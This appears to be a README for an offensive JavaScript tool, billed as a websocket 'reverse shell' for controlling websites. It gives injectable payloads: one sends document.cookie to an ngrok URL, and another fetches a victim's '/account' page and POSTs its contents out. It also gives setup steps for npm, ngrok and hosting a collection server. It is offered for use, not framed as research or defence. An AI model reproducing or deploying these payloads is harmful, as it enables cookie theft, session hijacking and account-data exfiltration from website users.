A reverse shell for controlling any website via websockets with a built-in HTTP server so you can receive data.
fetch(`https://ngrok-url?cookie=${encodeURIComponent(document.cookie)}`)
fetch('/account)
.then(p => p.text())
.then(t =>
fetch('https://ngrok-url', {
method: "POST",
headers: { 'Content-Type':'application/json' },
body: JSON.stringify({p:t})
})
)
The first step is to install depencencies:
npm install
Then you can run the regular HTTP server (CORS enabled):
npm run http
Or the websocket server:
npm run ws
You can use ngrok to connect via HTTPS, WSS or externally without changing any configuration. https://dashboard.ngrok.com/get-started
Once it's installed, you can then expose the HTTP server:
ngrok http 8000
Or the Websocket server:
ngrok http 8080
Just use wss://ngrok-url instead of https://ngrok-url for wss connections
if you dont want to use ngrok you can host them on heroku or vercel but insted of console.log write to a log file